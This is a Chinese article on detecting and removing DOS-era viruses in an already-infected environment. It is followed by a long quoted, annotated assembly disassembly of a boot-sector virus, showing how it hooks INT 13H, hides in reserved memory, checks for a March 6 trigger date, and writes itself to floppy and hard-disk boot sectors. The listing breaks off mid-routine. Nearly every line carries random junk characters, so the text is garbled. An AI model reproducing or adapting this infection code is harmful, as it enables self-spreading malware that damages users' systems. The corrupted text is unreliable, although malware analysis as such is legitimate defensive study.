近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 ,#]t$mzbQ(
?? AVw%w&|%
?? 一 、 带毒环境下检测清除病毒的意义 17.x0gW,
?? zsXoBD\h
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 C\ZkGX
?? m-/j1GZ*
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 qTQ!jN
?? "xRBE\B
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 os lJC$cy'
?? a`(a)9i
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 }/P5>F<H[
?? B;K`q
?? 二 、带毒环境下检测清除病毒的原理
IJIzXU
?? zTbVp8\pI
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 C0*@0~8$9
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 6t'l(E +
f~{}zGTM:
&w8)* T
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " ra N)8w}-
病毒体: qU6nJi+-I
JMP 01AF ;JMP到01AF 1xE]6he4{T
DB 00 ;病毒标计 Mg,:UC:
DW 00F5 ;此为搬到高位址后,远程跳转指令 +;}#B~:
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX L I >(RMv
DB 02 )~6zYJ2
DW 0003 ;此为软盘识别标记,硬盘为0007 {nT^tAha
DW EC59 ; J?UQJ&!@O
DW F000 ;INT 13H的原入口 )6KMHG
. 6x)$Dl
.
!R-z%
. s@hRqGd:
. D}C,![
. '_k+WH&
XOR AX,AX ;清除AX 8vSse
MOV DS,AX; ;让DS=0000 YW@#91.
CLI ;清I标志积存器 hw N?/5
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 xM[Vc
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 ENF"c$R
MOV SP,AX ;开机时为0000:7CB6 2`GE
STI ;设I标志积存器 :u8(^]N
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A 7!y5
SX8C
PUSH AX ;用RETF,把程序转到引导或分区表位置 dC\ZjZZ
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 u]+~VT1C,3
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 .\0isO
MOV AX,[004E] ;取INT 13H的段地址 W|:lVAP.|}
MOV [7C0C],AX ;存到010C %ek'~
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 Eodn/
;读写以便传播发作 sVk$x:k1M
p[lNy{u~M
MOV AX,[0413] ;取得内存K数,放在AX $;M:TpX
DEC AX ; dz
[!-M
DEC AX ;减2k内存 r0d35
MOV [0413],AX ;存回,通常是638K ~_IHaw$hg
MOV CL,06 ; RB* J=
SHL AX,CL ; /2EHv.e`
MOV ES,AX ;算出减2K后病毒本体的位址 1i:|3PA~
MOV [7C05],AX ;AX存入0105 %CUGm$nH
Uy
?
;病毒常用手法将系统高段内存减少以便驻留 ;w|b0V6
;这样可以免于被其他程序覆盖 ]lw|pvtd
AcI,N~~
MOV AX,000E ;病毒拦INT 13H VvFC -r,=G
;ISR起始的偏移量 l\M_-:I+4
MOV [004C],AX ;
z@|GC_L
MOV [004E],ES ;设原为病毒的INT 13H ;,i]w"*
MOV CX,01BE ;病毒长度为1BE Uw,2}yR
MOV SI,7C00 ;从JMP 01AF开始 :ISMPe3'
XOR DI,DI ;DI=0 \I"Z2N>^z
CLD ;清方向标志 "s!7dKXI"
REPZ; <<=WY_m}
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 jdE5~a+
CS: ;分区表能载入0000:7C00正常运作 -C(b,F%%
JMP FAR [7C03] ;跳到为搬过后的位址 9% l%
XOR AX,AX ;清AX Yt|6
X:l
MOV ES,AX ;ES=0000 8]4U`\k4
INT 13 ;复位磁盘 6 3`{.yZ*z
PUSH CS ; V-n&oCS+f
POP DS ;让DS=CS SS`qJZ|w
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 F:y[@Yn
MOV BX,7C00 ;读到0000:7C00 F":r4`5D"K
MOV CX,[0008] ;硬盘第0道,第7扇区 U9D!GKVp
CMP CX,+07 ;比较是否从硬盘启动 ?(*t@
{k
JNZ 0213 ;不是跳0213 E*L iM5+I
MOV DX,0080 ;第一硬盘C:第零面 "&+"@<
INT 13 ;用INT 13号中断,读 R4ht6Vm3g)
JMP 023E ;跳023E比较日期,发作或正常开机 DvvT?K
MOV CX,[0008] ;软盘0道,第3扇区 `n$5+a+
MOV DX,0100 ;A:的第0面 lWBb4 !l
INT 13 ;INT 13读盘 pV4Whq$
JB 023E ;失败跳023E mUS_(0q
PUSH CS fDG0BNLY
POPES ;让ES=CS lds-T
MOV AX,0201 ; 8-y{a.,u.
MOV BX,0200 ; x(<(t:?o
MOV CX,0001 ; %IC73?
MOV DX,0080 ; =+t^ f
INT 13 ;读入C:的分区表到0200,以便下面比较 s"Pf+aTW
JB 023E ;失败跳023E n,B,"\fw
XOR SI,SI ;清SI >^XBa*4;Y
CLD ;清方向标志以便比较 P/EM :
LODSW ;载入一个WORD到AX J|'7_0OAx
CMP AX,[BX] ;比较有无病毒存在..E9AC Ut$;ND.-
JNZ 0287 ;没有则跳0287传染 kP/M<X"
LODSW ;载入一个WORD到AX v1a6?-
CMP AX,[BX+02] ;再次确认..0000 asY[8r?U
JNZ 0287 ;没有跳0287 \(t@1]&jw
XOR CX,CX ;清CX u7?$b!hG^C
MOV AH,04 ; rQ7+q;[J
INT 1A ;取得日期 ?wnzTbJN
CMP DX,0306 ;是否为三月六日 6mKjau{r_
JZ 024B ;是跳024B传染 ,+~rd4a
RETF ;把程序交还给引导启动完成 A^q[N
CHV*vU<N
步骤4:病毒INT 13代码分析 kcb.Wz~=
方法:U JyR/1 W
PUSH DS ;首先把要用到积存器 }Tf9S<xpq3
PUSH AX ;入栈保存 p~*UpU8u
OR DL,DL ;比较是否为软盘 71vkyn@"
JNZ 002F ;如不是则退出传染 -V: "l
XOR AX,AX ;AX=0 t3dlS`O
MOV DS,AX ;数据代段=0 Bz5-ITX
TEST BYTE PTR [043F],01 ;比较是否为A盘 $Y5)(
JNZ 002F ;不是则退出 Gs3LB/8?
POP AX ;将以上保存积存器 #v<QbA
POP DS ;弹栈恢复 MwmUgN"g
PUSHF ;压栈标志积存器 6252N]*
CS: ;以便执行原INT 13 wn)JXR
CALL FAR [000A] ;执行原INT 13 ~I{n^Q/a
PUSHF ;再次压栈 +-E~6^>
CALL 0036 ;以便跳转到传染程序 $H+VA@_
POPF ;跳转到执行传染 e["2QIOe
RETF 0002 ;结束中断调用返回 LBF 1;zjK
POP AX ;恢复 _E@:O+K
POP DS ;堆栈 n u'M
39{
CS: ;跳转到原正常INT 13 Nbp!teH6
JMP FAR [000A] ;地址执行 ?B:a|0pf
'Ysx=
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 R'S0 zp6
7"8hC
步骤5:传染过程分析 +[5.WC7J
方法:U I4&::y^C
对软盘传染过程: F'hHK.tT
PUSH AX ;工 8T(e.I
PUSH BX ;作 J/}:x;Y
PUSH CX ;寄 z)HD`Ho
PUSH DX ;存 h,Q3oy\s1
PUSH DS ;器 QR1{ w'c
PUSH ES ;入 d>{nQF;c
PUSH SI ;栈 44-R!
PUSH DI ;保存
<vXGi
PUSH CS ;以压/弹栈方式 8P=o4lO+
POP DS ;使数据段DS和 C`5
PUSH CS ;附加段ES均指向 CZ nOui
POP ES ;代码段CS $z+8<?YD
MOV SI,0004 ;试4次 cK 06]-Y
MOV AX,0201 ;设置各 =b/L?dR.-
MOV BX,0200 ;积存器 :UQTEdc{
MOV CX,0001 ;为读软盘 6 ~>FYX
XOR DX,DX ;引导扇区做准备 ATR!7i\|
PUSHF ;压栈标志积存器 3Kn_mL3V-
CALL FAR [000A] ;正常的INT 13调用 4q<=K= F
JNB 0063 ;成功则转判断 A]XZnQ
XOR AX,AX ;不成功复位 % rxO_
PUSHF ;磁盘继续读 >Jp:O
7
CALL FAR [000A] ;如果4次 4Z/f@ZD
DEC SI ;均匀不成功 F+@5C:<?
JNZ 0045 ;则退出跳转 3;a<_cE*@
JMP 00A6 ;退出传染 @'|)~,"bx
XOR SI,SI ;SI=0以便用 ` \+@Fwfx
CLD ;LODSW读入软盘 0Q^Ikiv
LODSW ;第1或第2字进行比较 3"O>&Q0c
CMP AX,[BX] ;比较如果不包含病毒标志 $ibuWb"a
JNZ 0071 ;则跳转写传染 Ps 8%J;
LODSW ;如果已有标志 $jg*pmR-
CMP AX,[BX+02] ;则退出 kcQ'$<Mz<
JZ 00A6 ;传染子程序 f aLtdQi
MOV AX,0301 ;为写盘准备 Y*!qG
MOV DH,01 ;如果是360K #
0Lf<NZ
MOV CL,03 ;则写到1面0道3扇区 kV38`s>+
CMP BYTE PTR [BX+15],FD ;比较软盘 KG=h&
JZ 0080 ;如果大于360K ?2oHZ%G
MOV CL,0E ;写到1面0道14扇区 Ry|!pV
MOV [0008],CX ;写病毒标志到软盘 LGl2$#x
PUSHF ;调用原INT 13 f-%NaTI
CALL FAR [000A] ;进行传染 W16,Alf:
JB 00A6 C?2'+K
MOV SI,03BE ;以下是将正常 ndeebXw*
MOV DI,01BE ;引导扇区从 fXc m|U,ho
MOV CX,0021 ;1BE起的21字节内容 u{*SX k
CLD ;搬移到病毒程序尾部 *<J*S#]
REPZ ;开始复制 X_7UJ
jFw"
MOVSW yUp,NfS]o
MOV AX,0301 ;写盘功能调用,写一个扇区 f{FDuIln
XOR BX,BX ;将病毒程序 ' Tc]KXD6
MOV CX,0001 ;写入软盘引导扇区内 lhkwWbB
XOR DX,DX ;设置为软盘 ;
k)@DX
PUSHF d,=r9.
CALL FAR [000A] ;执行正常INT 13调用写盘 U\R}`l
POP DI ;将 tuhA
9}E
POP SI ;工 AU$Uxwz4
POP ES ;作 rW0FA
POP DS ;寄 WASU0
POP DX ;存 DrO2 y
POP CX ;器 V?=8".GiX
POP BX ;退 PZ*pQ=`
POP AX ;栈 D&/L:
RET ;返回调用处 iURk=*Z=
对硬盘传染过程: 6C+"`(u%V
MOV CX,0007 ;第7扇区 1Y]TA3:
MOV [0008],CX ;此处为硬盘引导标记 Zib)P &
MOV AX,301 ;写功能调用 Bn(W"=1
MOV DX,0080 ;设置为硬盘 B}&x